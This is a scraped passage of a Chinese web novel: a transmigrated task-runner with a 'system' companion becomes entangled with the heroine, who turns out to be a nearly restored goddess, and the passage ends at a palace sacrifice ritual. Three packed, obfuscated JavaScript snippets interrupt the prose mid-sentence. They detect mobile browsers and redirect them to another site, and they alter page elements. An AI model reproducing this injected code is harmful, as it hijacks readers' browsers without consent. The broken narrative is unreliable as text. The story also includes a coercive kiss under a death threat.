芝麻见劝不动,麻溜儿启动了装置。识海开始震颤,光幕碎成无数光点,像倒飞的雪,纷纷扬扬涌入她身体。一股温热而不可逆的力量从脚底升起,一寸一寸地替换着她的骨血。 【宿主升级中……二级任务者权限已解锁。中级商城功能已开放。新技能“媚骨天成”已注入,该技能可使宿主在新剧情线中快速适应宫妃身份,魅力值大幅提升。】 最后一缕光没入眉心。 【新剧情线已激活!此前奖励积分全部扣除。待宿主离开身体后,角色柳莺娘将自动确认死亡,死因为“病弱而亡”。宫斗妖妃线正式开启,新身份为宠冠六宫的贵妃“洛闻瑛”,正在清算中……】 柳知微松了口气,可心里还是纠结得紧,在身体进行重组的间隙,她猛地睁开眼:“等等!” 芝麻眼睛一亮,兴奋地在虚空中蹦了两下:【宿主大大现在后悔还来得及哦~】 柳知微嘴角微微一扯,目光沉静下来,带着几分笃定的冷意:“不,我决定的事情就不会后悔。只是这具身体还有些价值,我需要一个体面的死因。” 她垂下眼,睫毛轻轻颤了颤,像是忍下了什么翻涌的情绪。 明明在无数次的任务之下,她都已经习惯了告别,都习惯了把自己当做这个世界的过客,根本无需对任何人说再见。可是现在,她那点自己都不想承认的私心就像根针,游走在她的胸腔中,泛起细细密密的疼。 柳知微抬起脸,抱着双手,眼神微挑:“芝麻,你说我挨了这么好几道天雷,总得从柳清圆那里讨回来一些吧?” 【宿主大大的意思是?】 她目光幽幽一转,将那点不甘心藏进唇边一抹淡笑里:“你说要是正常剧情杀,而不是我死遁,而使任务终结,那我的积分是不是能保住了?” 芝麻眨巴着眼睛,顿了半拍才开口,语气里带着几分恍然:【宿主大大是想继续走女主大婚,然后柳莺娘买凶劫婚,却被反卖进窑子的结局?】 “对。”柳知微点了点头,眼底透出几分执拗。 芝麻犹豫了一瞬,难得地踌躇起来:【这样的确能如宿主大大所说,可是如今封瑾遥都死掉了,封家也不复存在,婚事也取消了,这个剧情还怎么走啊?】 柳知微闻言,眉头轻轻蹙起,又缓缓松开,像是在心底把那一团乱麻一点一点重新理出了头绪。 她抬起眼,目光清凌凌地落在虚空中的芝麻身上,语气平淡而笃定:“我自会有办法。” 芝麻明显愣了愣,光点微微闪烁了几下。这样没有把握的话宿主从来不会说的,如今这是怎么了? 片刻后,它小声开口:【宿主大大,有件事我必须提前跟您说清楚。】 “说。” 【总部下个月就要批您的报告了。在那之前,我只能给您争取到一个月的冷静期。】芝麻的声音顿了顿,像是有些不忍,【等确定了解决方针以后,您必须决定是去是留。但……如果受总部安排的话,可能会强制要求您以柳莺娘的身份继续走下去。】 【所以……真的只有一个月。一个月之后,没有回头路了。】 空气安静了一瞬。柳知微垂下眼睫,遮住眼底翻涌的暗潮,再抬眸时,神色已然恢复了平静,甚至嘴角还噙着一丝若有若无的笑。 “行。”她干脆地说,“我考虑清楚了。” 芝麻张了张嘴,似乎还想说什么,可看着她这副模样,终究还是把话咽了回去,只是轻轻叹了口气:【好,听宿主大大的。】 柳知微没再应声。 可只有她自己知道,方才那句话里有多少底气不足。她甚至说不清自己到底是在赌一个结局,还是舍不得什么说不出口的东西。 意识回笼时,她没有感到任何不适,只像是刚打过一个午后的盹。柳知微并不知道,这三天里,柳清圆不断往她这具身体里注入灵力,不仅清除了原主从娘胎里带出的病根,连柳府那些人悄悄下的慢性毒药,也一并拔净了。 柳知微睁开眼,还打了个大大地哈欠,空气里有淡淡的药香,窗外的日光透过素色的床帐落进来,柔和得不像话。瞥见床尾的那一团模糊人影时,柳知微怔了怔。 柳清圆正靠在她床边,身子微微歪着,脑袋一点一点往下坠。那张平日里总是机敏和防备的脸上,此刻满是掩不住的困倦,长发散了几缕垂落在颊边,呼吸轻而均匀,显然是守了许久撑不住睡着了。 柳知微还没来得及反应,就看见那颗脑袋又往下滑了几分,眼看着就要从床边栽下去。 几乎是本能地,她猛地抬手,稳稳地托住了柳清圆的脸颊,掌心贴上去的一瞬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576326|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温热的触感从指尖蔓延开来。 那双眼睛猝不及防地睁开,睫毛轻颤了一下,像是还没完全从睡意中挣脱出来,瞳孔里还蒙着一层薄薄的水雾。然后她看清了眼前的人,看清了柳知微的手正托着她的脸,两个人的距离实在是很近。 日光正好落进来,落在两个人之间。柳知微觉得自己似乎被天雷劈傻了,脑子也有了问题,看见柳清圆清醒过来了心底慌得一批,但就是想不起来动作。 柳清圆只是微微弯起了眼睛,她保持着那个被托着脸的姿势,甚至双手握住了她的手心,抚上了自己的脸颊。那感觉轻软得像一片落在心尖上的花瓣。 “我们又再见啦,莺莺。” 柳知微的手指颤了一下,掌心那点温热忽然变得滚烫,她想缩回手,又觉得整个人都被那双美丽的眼睛钉在了原地。 她支支吾吾的,又被女主的美貌光环迎面暴击。系统在她识海里慌慌张张地撑开保护罩,柳知微这才勉强清醒几分,正想抽回手,却听见柳清圆的语气骤然冷了下来。 “莺莺好些了,便跟姐姐讲一讲吧?”柳清圆缓缓道,“说说看,为什么你明明没有中妖毒,却整整昏迷了三天这件事。” 柳知微浑身一激灵,整个人往床里缩了半寸。柳清圆的手落了空,却在半空中顿了一下,才不紧不慢地收回去。 “你……”柳知微清了清嗓子,把那个差点脱口而出的脏话咽了回去,眼神倏然冷下来,“姐姐这是在审我?” 系统芝麻在她识海里疯狂预警:【宿主大大,千万不要暴露记忆回溯的事情,不然会被红牌警告的!】 柳知微在心里骂了一句,面上却只是挑了挑眉,嘴角甚至还挂着一丝似笑非笑的弧度:“柳清圆,你先前说随你去明月楼捉妖,你给我赔罪,到头来我还是受伤的那个。我真是想不通,怎么靠近姐姐就这么倒霉了?现在你又在这里问我什么妖毒,是有意找不痛快?” 柳知微心下虚得很,面上却撑出一副不耐烦的模样,抬手随意摆了摆:“罢了罢了,你先出去吧,我现在不想看见你。” 柳清圆一怔,似乎想说什么。 柳知微根本不给她开口的机会,偏过头去,语气愈发冷淡:“你要真有心,就别杵在这儿添堵。让我一个人静静。” 知道女主性取向之后,她实在没法像从前那样坦然面对了。眼下最要紧的,就是赶紧把人支开,离自己远点。至于话好不好听那都不重要,能把人打发走就行。 “那东西确实扑过来了。”柳清圆等她发完脾气以后才淡然开口,“但我杀了那只妖后再探过你的灵窍,你并没有中妖毒……昏迷这三天,是因为别的原因。” 她微微倾身,一只手撑在床沿上,那双漂亮的眼睛微微眯起,像一只盯上猎物的猫。 “莺莺,”柳清圆的声音压得很低,“你的演技真的很差劲。” 芝麻在她识海里急得直转圈:【她怎么知道的?!宿主她怎么……】 柳知微:[闭嘴。] “姐姐这是乏了,不想再装下去了?”她索性不装了,靠在床头,双手抱胸,唇角微微扬起,眼底却不见半分笑意。 “是呢。”柳清圆歪了歪头,那双眼里竟浮上一层薄薄的水光,却偏又勾出一抹笑来,像春日枝头将落未落的露珠。 “再继续装下去,我怕二妹妹就要离我而去了。” 她抬手缓缓覆上自己的心口,掌心贴着衣料下那一片温热的跳动,笑意渐深,嗓音捏得是缠绵悱恻。 “那时我的一颗真心,又该交给谁?” 38. 满船清梦压星河 柳知微很无语,柳知微很震惊,柳知微想逃跑,柳知微不甘认输! 她攥紧拳头,牙关微微发颤,声音里带着极力压抑的尖锐:“柳清圆,你是不是有毛病?” 为了演出原身该有的悲愤交加,她还在商城里兑换了一个洋葱,使用以后直接泪如雨下。 “我那么讨厌你,对你那么差,动不动就挖苦你、害你,甚至……还想过要杀你!”她胸口剧烈起伏了一下,眼眶微微泛红,却死死撑住不肯落下泪来,“我还恨你抢了我的瑾遥哥哥,恨你这个野丫头凭什么跟我平起平坐……你根本不配!你现在跟我说这些,是想恶心谁?” 系统正在为柳知微举大旗:【人设值+150!人设值+300!宿主大大就是这样,绝对不能暴露自己!】 柳清圆却神色自若,甚至嘴角还弯了弯,温声道:“莺莺放心,封瑾遥已死,那桩婚事早已作罢。你再不必为那个东西吃醋了。” 不是吧大姐?你在意的是这个吗?0个人在意吃不吃醋这个问题好吧? “我是你妹妹,近亲不能结婚!”她们可是完全异父异母的亲姐妹啊! 柳清圆平静回答:“莺莺已经想到婚事上了?本来我还以为有些太快了呢。不如就择一个良辰吉日,我们……” 柳知微抓紧被子,几乎是吼出来:“我自私自利,刁蛮任性,欺软怕硬……而且我、我绝对不会喜欢你!你清醒一点!” 柳清圆不急不恼,反倒微微侧头,眼波里漾着几分欣赏,几分宠溺,像是看着自家养大的孩子做着什么天真可喜的事。 柳知微:“……” [系统,她这是什么眼神?] 系统认真回答:【无微不至、体贴入微、关怀备至……词库升级中,舐犊情深、寸草春晖、相濡以沫、悲天悯人、一往情深、海誓山盟……】 柳知微:[停之停之。] 柳清圆缓缓启唇,语气柔缓:“柳知微,你说的这些在我这里,样样都是难得的品格。” “自私自利,是知护自身,不落他人算计,活得清白透彻。刁蛮任性,是不肯为俗礼所缚,事事从心而发,自在疏朗。欺软怕硬,是识时务、懂进退,能藏锋于拙,守得住本心。” 她笑答:“这样的你,才最叫我放心不下。” 柳知微和系统一样目瞪口呆。女主怎么突然变得这么有文化了?表白还真是下足了功夫啊! 柳清圆眼神轻柔地落在柳知微脸上,声音低了几分:“莺莺,别再跟我说违心的话了。不管你是有什么苦衷,还是背后有什么人在压制着你,把你送到我这儿来……又或者另有所图。” 她轻轻叹了口气。 “对于一个真心喜欢你的人来说,听见你这些话,还是会伤心的。” 柳知微:“……” [小姐姐我听见你这番话那是心也不跳了,气也不喘了,脑子都动不了了。] 芝麻磕着瓜子,感动得拍了几个巴巴掌:【宿主大大,原来这就是爱情的感受啊,这么美好!这么刻骨铭心!】 柳知微:“……” 她揪着系统的耳朵:[那特么是死了!] 柳清圆抓起她的手,眼中含着脉脉深情:“莺莺,来我身边吧。不论你背后是何人,我定是能护着你的。” 柳知微盯着柳清圆看了半晌,总算咂摸出味儿来了。 这人今天不对劲。 之前不是把话都说开了么?怎么又端出这副情意绵绵的模样,累不累? “姐姐,”她索性开门见山,“戏演够了没有?” 柳清圆一愣,随即松开她的手,笑着往后一仰,随手拢了拢发丝:“被你瞧出来了?” “柳清圆,你是聪明人。”柳知微淡淡道,“想要挖出我的底细,犯不着拐弯抹角。再说了,姐姐神通广大,还用得着忌惮我身后的人?” 柳清圆托着腮,笑吟吟地看她:“莺莺这么不配合,姐姐很伤心的。” “伤心就伤心吧。” “唉……”柳清圆一副意犹未尽的失望模样,“你方才若是肯陪我多演一会儿,今日我说不定就心软放过你了。” 柳知微看她:“那现在呢?” “现在?”柳清圆眨了眨眼,“现在我要用强的了。” 柳知微张了张嘴,刚要说什么,柳清圆却忽然倾身向前,一只手撑在她枕边,两个人之间的距离骤然拉近到不足一尺。柳知微能闻见她身上淡淡的清冷香气。 “莺莺,别想着喊人,他们不会听你的。”柳清圆的声音在她耳边响起,“自你把我从越家溪接回柳府起,这府里就再没有一个活人了。” 柳知微瞳孔微缩。 “那天夜里,”柳清圆垂下眼睫,目光落在柳知微的唇上,又不动声色地移开,“你睡得很沉,不知道有人来过。不过你放心,那只是一只小杂碎,二妹妹不必理会。” “那杂碎在你仆婢身上种下的那些东西,一点点传到了柳府中所有人身上。不过我再在他们身上动了点手脚,现在他们都听由我号令。” 那天……她刚把柳清圆接回柳府的那个晚上?那次在马车上她记得自己确实睡得很沉,后来经过系统排查就发现是柳清圆对她下过迷药。但是不是针对或是戏弄,而是有隐藏剧情线索? “怪不得,”柳知微笑起来,努力让自己的声音听起来足够镇定,“我昏迷期间,柳府上下没人拦你进我院子,而柳文渊那边也没有任何动作。” 她顿了顿,脑子飞速运转,把之前那些零碎的线索一点一点串起来。 难怪那日她与便宜爹争执时,便看见他身上有鬼气。而出现在听雨轩的那只肥猫,身上附有沈流商魂魄的那只,也是柳清圆的手笔吗?柳清圆抓沈流商干嘛? 柳知微的目光骤然变得复杂起来,她看着近在咫尺的柳清圆,忽然发现自己从来没有真正看清过这个人。 “所以,”柳知微的声音有些涩,“从一开始就不是什么针锋相对。” “那沈……”然而她话还没有说完,柳清圆做了一个柳知微完全没有预料到的动作,把她要问的话都堵在喉咙里。 她低下头,吻住了她。 那是一个带着侵略性的、不容拒绝的吻,带着一种压抑了很久终于释放出来的急切和贪婪。 柳知微的大脑彻底空白了。 她感觉到一只手扣住了她的后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576327|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑,指尖嵌入她的发间,力道大得不容挣脱。另一只手撑在她身侧,将她整个人圈在一个逃不掉的范围内。 柳知微的指尖抵在柳清圆肩上,然后猛地一推开,结果柳清圆更加用力地掐住她的下巴又来势汹汹地吻了上来。 芝麻在她识海里疯狂尖叫,但声音越来越远,像是隔了一层厚厚的棉花。 她闭上眼睛的时候,心里只觉得要完。柳知微的腰撞进被褥里的那一刻,整个人不受控制地颤抖着。 柳清圆的手不知什么时候从她后脑滑到了肩胛,掌心贴着她的脊椎,将她整个人往前一带,又顺势压下来。床帐被这动作震得轻轻摇晃,素色的纱幔落下,把午后日光切成碎金,洒在两个人纠缠的影子上。 柳知微的后背陷进柔软的衾被里,双手被柳清圆扣着腕子按在头顶,十指交缠,掌心相贴,那力道不重,却像一把无形的锁,让她动弹不得。 柳清圆像是终于撕下了什么伪装,不再是那个温温和和、对谁都笑脸相迎的柳家大小姐,而是一头终于露出獠牙的兽。 空气被一点一点地抽走。柳知微的呼吸变得急促而紊乱,胸腔剧烈地起伏着,被按在头顶的手指本能地蜷缩起来,扣住了柳清圆的手背。 柳清圆微微退开半分,唇瓣分离的瞬间牵出一道细丝。 柳知微大口大口地喘息着,眼眶因为缺氧泛出了水光,那双平日里总是装着防备的眼睛此刻蒙着一层薄雾,看起来茫然又脆弱。 “莺莺,”柳清圆唤她的名字,“我学不会耗心思来哄人。你若不愿意,那便到此为止,从此只剩你死我活。可我要提醒你一句,你若选了这个,于我而言便与柳府其他人没有分别。” 柳清圆松开了扣着她腕子的手,她便任由那双手无力地垂落在枕边,指尖微微蜷着,像两朵开败的花。 柳清圆看着她,眸色沉沉,等着她的答案。 柳知微看着她,忽地噗嗤一笑:“也就是说不答应你,我就也成了那些死人中的一个?还是刚才说情话的你更讨我欢心,装得还挺像那么回事。” “我踏马真服了,女人跟女人,这算怎么一回事?”她烦躁地抓了把头发,眉头拧成一团,“要是说出去,老娘兢兢业业干了那么多年,结果跟自己的对头搞上了……真是……” 柳知微猛地一咬牙,耳根悄悄红了一片:“做就做,哪儿来那么多废话?!” 柳知微的手不知什么时候攀上了柳清圆的肩,往下一拉,沿着她的下颌线一路向下,经过耳垂的时候轻轻咬了一下,换来对方一声压抑的闷哼。她的嘴唇贴在那片薄薄的皮肤上,感受着下面脉搏急促的跳动。 “继续。” “柳清圆你个疯女人……”她终于找到机会从交缠的唇齿间挤出几个字,“姑奶奶我给你咬一口也疯掉了……” 柳知微心底纠结万分。她不知道自己这样做的后果,又会遭天雷,还是会被遣返回穿越班复读,被这个世界遗忘。然而在那欢愉之中,那些她筑起来的高墙,彻彻底底地塌了。 …… 柳知勾起唇角,索性不再多想。管它夺舍还是缠绵,桩桩件件都是扇在天道脸上的巴掌。反正她是爽到了! 39. 女主的真实身份 柳知微的小院清静雅致。午后阳光穿过葡萄架,在青石板上落下细碎的光斑。她靠在竹躺椅上,手边一壶清茶,两碟点心,难得悠闲。 这葡萄架是她回来以后亲自搭的,这院子里还添了不少的花种,楼夫人看她爱花,还遣人送了好多春日宴上见过的奇异花,这院子就一下子窄了很多。 柳知微爱极了这满院的花团锦簇,尤其贪恋春时的盎然生意。花开得最盛时,馨香盈怀袖。 她盘算着,要在院子里添一只猫,或是领只小土狗。等往后退休闲下来了,逢着晴好的日子,就搬把旧板凳到日头底下,舒舒展展地晒着。 她看话本嗑瓜子厌了,就在旁边放个小桌子,煨一壶清茶放在上面。待到猫儿狗儿都偎在脚边睡熟了,她也跟着迷迷糊糊阖上眼,就睡在这一院子的花气里,香香暖暖的,心情好得不得了。 脚下,一团屎黄色的影子紧挨着她的绣鞋,正是化形后的系统芝麻。它此刻正趴伏在地,伸出粉舌哈哈喘气,若不是柳知微先前特意叮嘱过,这灰头土脸的丑东西,怕早就被院里的仆从当做野狗撵出门去了。 柳知微已记不清警告过它多少次,别长成这副模样,直叫人看了反胃。可系统偏有一套自己的审美,不仅把“狗”当得兴致勃勃,还整日雄赳赳气昂昂地吠叫,仿佛在嚷着让柳知微少管闲事。 直到那日,柳知微差它从柳清圆院角的狗洞钻进去探听动静。 柳清圆闻声而来,瞧见这抖如筛糠的大狗,也不恼,只笑眯眯地拎起它后颈,径直送到柳知微院中。 “二妹妹,”她声音温软,“这狗儿瞧着喜人……可是你的?” 柳知微看着那没出息的系统,终于等到机会,结结实实将它痛揍一顿。柳清圆依旧含笑立在门前,待她打够了,才慢慢走过来,坐在柳知微旁边给她剥着瓜子。 说起柳清圆呢,不知道是不是因为柳知微一直偷懒不去找她麻烦了闲得慌,反倒是找上了柳知微,天天不是聊花啊草啊,就说她的狗该洗澡了,虾天虾地地聊瞎话。 那天清晨,她还没来得及和柳清圆摊牌,两人就已经胡闹到了一处去。 系统从小黑屋被放出来,得知这段发展的时候,差点当场死机。芝麻更是吓得啃了好几天的骨头磨牙,就怕天罚说来就来,把它劈成一团焦黑的毛球。结果一切风平浪静,仿佛这个世界的底层代码已经默默接受了,虐恋文被彻底改写成了百合文。 于是系统果断开始了自己的嗑cp日常,甚至不惜变成一条狗,蹲在听雨轩墙根偷听了好几天。 但它失望地发现,这俩人没有蜜月期,也没有干柴烈火,反而是一副老夫老妻的淡然模样。几天过去,竟然一步都没有再往前迈。 柳知微就这样无忧无虑地又过了几天。这些天她和柳清圆有一搭没一搭地聊着天,井水不犯河水似的,似乎还真就决定这样摆烂下去了。 一个月冷静期已经快要过去了,柳知微那边依然没有任何动作。不过在系统看来,宿主大概率是要留下来了。毕竟现在美人也抱到了,积分也不用扣除。什么嘴硬心软,说的就是宿主这种人吧?更好嗑了诶! 系统每天都啃很多骨头,吃不完的还刨个坑藏在一棵树下,活得有滋有味的。它始终相信宿主大大。 “那日在船上,在天雷降临之前,我似乎听见你说了一句话。”柳清圆忽的开口。 “你说的是什么?”她微微偏头。 柳知微自然地从她手里接过去了壳地瓜子,放嘴里嚼了嚼,眼神飘向别处:“问起这个做什么?” 柳清圆语气里带着淡淡的笑意,“近来在写些东西,从你我初识那一刻起便落笔,点点滴滴,一丝一毫,我都不想忘。” 柳知微差点被自己的口水呛到她还真是受不了柳清圆突然这么装模作样地说着情话,浑身鸡皮疙瘩都起来了。 她打了个哈欠:“这么久的事了,难为姐姐还记着。不过我这记性向来不好,当初似乎是说了什么狠话,姐姐也不必放在心上。” 那句话后面接什么,她赌的就是天道屏蔽机制。而看柳清圆这副不动声色的模样,分明是在试探她。 芝麻啃着骨头,在她识海里小小声地松了口气,随即又紧张起来:【宿主,她还在盯着你看。】 柳知微当然知道她不信。她们俩顶多算个炮友关系,柳清圆看她大概也就是个有趣的玩意儿,跟她看系统没什么区别。 更何况柳清圆因为那些没来由的梦魇,对她戒备重重,而柳知微这样一个人设反常、行为出格的外来者,在她眼里就是个值得怀疑的威胁。这样的局面,哪来的什么真心? 但是她不打算死遁了,就顺着柳莺娘这个身份继续走下去。这一个月的虚与委蛇,不过是在等总部的指示,现在时机差不多到了。 柳知微拍了拍芝麻的头,电子光屏投射在柳知微眼前,身边的人自然是看不见。 “说起来,姐姐既然问到了这件事,”柳知微慢慢道,“那妹妹也有几个问题想问姐姐。” 她浏览着总部的指示,盘算着接下来的计划,一个月的躺平摆烂,现在是时候走一下剧情了,也不知道现在外边是什么情况。 “春日宴那次,那只花妖是姐姐诛灭的吧?”柳知微关闭了光屏,转头直接问柳清圆。 柳清圆还在剥瓜子壳。 “明月楼那晚,”柳知微继续说,“那只撞碎画舫的妖物突然暴毙,也是姐姐的手笔吧?” “还有,你要关我到什么时候呢,柳清圆?那只蛟妖闯了那么大的祸,现在生死未卜。你不去救救谢济泫吗?他好像在大牢里很不好过。” “你不是恨我吗,柳清圆?梦里的我杀了你千百遍,恨到这般地步。那为何涂掉的情诗,会塞进香囊里,又恰好落到我手中?” 柳知微深吸一口气:“还要我继续说下去吗?” 她刚才耗尽毕生勇气看完那份报告, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576328|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心底拔凉拔凉的,几乎是强撑着才问出刚才的话。 报告上总部的结论写得很清楚,柳清圆距离概念神只差半步。 柳知微闭了闭眼。她和清圆之间发生过的那件事,天道没有任何反应。原来那不是默许,是根本管不了,因为不是柳清圆失控,而是她向天道、向整个世界的规则主动发起的反抗。 总部推断,上一个概念神早已突破了天道束缚,却无处可去,三千世界容不下她。于是她开始夺舍,寄生在一个又一个世界的气运化身里,榨取力量,修复自己崩坏的故乡。她力量不足时便按天道的剧本走,自己的记忆被封存,每一次都从头开始。 直到这个世界,能量已经积累得足够多了。 她所有经历过的世界,那些本该遗忘的记忆,全部开始苏醒,她学过的技能,已经一层一层解封。而所谓世界崩坏也不过是她意志的修正,她正在重塑眼下这个世界,参照着她原本的故乡,试图撕开两个世界之间的裂隙,然后融合,然后彻底把这里变成她的世界。 变成她的家。 柳知微看完最后一个字,差点没喘上气,这比她最坏的预想还要糟糕一万倍。 她原以为柳清圆是被概念神选中的人,或者是什么传承者。结果呢?柳清圆就是概念神本人,只不过为了重建故乡,她把自己的神识打碎,投入三千世界,一个一个地夺舍气运化身,而现在这具身体,不过是最新一次的轮回,而这位神明即将在她记忆中的故乡醒来。 不过幸而柳清圆此刻不过是半步概念神,记忆还没完全回来,力量也没完全恢复。 柳知微靠在椅背上,盯着蓝天白云,心如死灰地发出一声笑。 她问系统:[芝麻,我和柳清圆睡了,那姑奶奶是不是赚了?] 系统还不知道怎么回事,掂量着柳知微的心情,狗脸凑上来谄媚道:【女主肤白貌美大长腿,白莲绿茶御姐切换自如,还特别会讨宿主大大欢心,完美理想型女友哦~】 柳知微彻底笑不出来了,一把揪住系统那张欠揍的狗脸,心如死灰,连柳清圆在旁边也顾不上了,咬牙切齿道:“反正总部都要完蛋了,干脆拉着女主一起下水,咱们仨整整齐齐当殉葬品算了!” 系统直接被掐晕了。现场只剩柳知微和柳清圆两个活人。柳知微沉默片刻,脑子里冒出一个离谱的念头。 要不干脆跟柳清圆再睡一觉,趁接吻时把毒药渡过去,两个人一起死了算了,这样算不算自己牺牲换取世界和平?可万一柳清圆体质特殊毒不死呢?再万一……她根本不愿意跟自己亲呢? 就在柳知微濒临崩溃之际,柳清圆那边反倒轻轻笑出了声。春光映着她那张绝色的脸,越发明艳动人,像枝头初绽的桃花,让人怎么也挪不开眼。 “莺莺,你还没猜完呢。”柳清圆朝她那边凑近了些,笑意盈盈地说,“春日宴上的花妖,明月楼下的画舫,还有水底藏着的蛟妖,这些还只是冰山一角哦。” 40. 似曾相识燕归来 麟德殿前,观星台下。宫宴未开,先有祭礼。 月明星稀,乌鹊南飞。汉白玉铺就的宽阔祭坛之上,国师一身玄黑镶金边的繁复祭服,头戴高冠,风扬白发三千丈,手持玉圭,立于中央。坛下百官按品阶肃立,鸦雀无声,只有夜风拂过旌旗的猎猎声响。 国师面向北方星空,声调悠长而诡异,开始吟唱古老的祝文。其声时而高亢如鹤唳,时而低沉如地鸣,配合着特定的步罡与手诀,一丝丝常人难以察觉的的咒术,随着他的动作和吟唱,悄无声息地融入脚下的大地,与早已布设在观星台及皇宫各处的阵基相连。 百官大多低头垂目,恭敬聆听,只觉国师法力高深,仪式庄严。 那些无形无质的“丝线”,正随着祝文的韵律,如同活物般钻入地脉,加固、激活着某个庞大而阴毒的阵法。整条地脉都已被妖力渗透,只待一个时机便要彻底发作。 在捉捕到那只蛟妖之后,由国师云霜简亲自于观星阁进行献祭,而这底下的邪阵已经支撑了这个王朝千年之久,而这亦是多年来国师在群臣之前第一次露面。 千年前观星阁阵法落下,云霜简便以身为祭,做了那大阵的阵眼,自此于观星阁中不见天日,与阵法同源共生。唯有遇见大妖,祸及王朝之时,那神秘强大的国师方才露面行祭礼,昭告天地,护佑大夏国祚绵长。 此刻,祭坛上,那位国师的祝文到了尾声。他最后一道手诀捏完,高举玉圭,声音陡然拔高,直冲云霄:“……伏维尚飨,天地同鉴!” 一股无形的波动以祭坛为中心扩散开来,大部分人都只是感到一阵清风拂过,神清气爽。沈流商却是感知到了阵法彻底激活的“煞力”冲击。 在明月楼之事后,沈流商便察觉到有人已把主意打到了自己身上。尽管他隐去了谢济泫的事,却仍未能消除怀疑,眼下已有人在暗中搜罗关于妖物的一切。 他反过来顺着那人的线索,一路追查那股妖气的来源,竟查到了皇宫里。这么看来,谢济泫怕是躲不过这一劫了。 沈流商想不明白,谢济泫为何要坐以待毙。就算被抓住,他的主子难道不来救他吗?那日在柳府看到的姑娘,应当就是柳知微失散多年的姐姐柳清圆吧?她与谢济泫又是什么关系? 这些日子他左等右等,始终没等来谢济泫脱困的消息。今日为举行这场祭礼,圣上下旨宴请群臣,堪称千年一大盛事。可偏偏那个爱凑热闹的柳知微竟不在场,真是稀奇。 这些时日,柳府的人极少在外露面,就连柳尚书今日也告了病,不曾现身。沈流商曾分出一缕灵识去探过柳府,却被一道结界挡了回来。能挡住他灵识的力量,绝对是十分强悍的。 柳知微……怕是凶多吉少了。 祭礼毕,宫宴正式开始。众人移步麟德殿内,按序落座。 歌舞升平,觥筹交错。皇帝说了些勉励群臣、共庆祥和的话,殿中气氛逐渐活络。沈流商坐在自己的位置上,看似专注地看着殿中舞乐,余光却始终留意着那观星台的方向。 远远望去,那国师的身形几乎与阵法融为一体,模糊难辨。他已在其中共生千年,一头白发如雪扬起,姿态端凝虔诚,瞧着倒是庄严。可谁又能想到这般模样的,竟是布下邪阵的不知哪来的老妖怪。 沈如雁在不远处的席上朝沈流商眨了眨眼,笑容明媚。靖王宋歇坐在一旁,面色冷峻,唯有目光落在沈如雁身上时,心湖掠过万千柔情。 重要人物陆续到场。帝后驾临,百官跪迎。沈流商随着百官垂首行礼,余光却悄然扫向御阶之下,那地下的邪阵还在不断扩大着。 宴席开始,丝竹悦耳,歌舞升平。皇帝说了些场面话,众人举杯,气氛渐热。酒过三巡,有人却将话头引到了他身上。 “沈世子今日气色似乎好些了?”一个锦衣青年端着酒杯走到沈流商席前,语气似关切,却又带着几分轻慢,“不如多饮两杯御酒,驱驱寒气?” 沈流商心里烦得很,他抬起头勉强笑了笑:“太医嘱咐,不宜饮酒。” “宫宴难得,世子何必扫兴?”纪春洲接口,笑意里藏着嘲弄,“世子大难不死,必有后福。如今这蛟妖已被收归法阵,定是灰飞烟灭。世子不必担心,往后绝不会有低贱的妖物再敢害人。就冲这个,世子也该多饮几杯才是。” 沈流商一只手端起酒杯,笑着敬他。纪春洲也将杯子抬起,眼底是藏不住的得意。 然而沈流商笑着,手腕一转,将杯中酒尽数泼在了地上。 “世子,”纪春洲脸色很是难看,愤怒地指着沈流商,“您这是什么意思?” “本世子能活着回来,纪大人功不可没。只是今日恰逢祭礼,理应先敬天地。这些御酒,便祝我大夏河清海晏,千秋万代。” 他顿了顿,抬眸看向纪春洲:“纪大人,本世子说得对吗?” 他心中暗忖:这一杯,就是你的上路酒了。 沈流商望向纪春洲,只见他周身早已缠满透明的丝线,密密匝匝,如蛛网缚虫。只待阵法一成,便是他命绝之时。 沈流商无声地笑了笑。 想必是纪春洲在他这里什么都没查到,他背后的那位主子又素来没有耐心,索性一不做二不休,直接杀人灭口了。 纪春洲闻言也不好过多追究,只是脸上依旧不悦,还想再说些什么,却被周围一片惊呼声给压下了。 原是那条蛟妖被拖至观星台中央,国师正在进行最后一项仪式。层层法诀如锁链般缠绕而上,煞气翻涌,不断吞噬着那条如蛇一般扭曲蠕动的蛟妖。它痛苦至极,几欲挣扎,却动弹不得。 纪春洲又看向沈流商,脸上挂着得逞似的笑:“世子是识大体之人,所言有理。本统领这一杯,也敬世子……能活着看见我朝盛世。” 说着,他也将酒水洒在地上,酒杯随手一扔,在地上骨碌碌滚了几圈,心中自是大喜。 谁能想到,那蛟妖居然是千万年前的龙族! 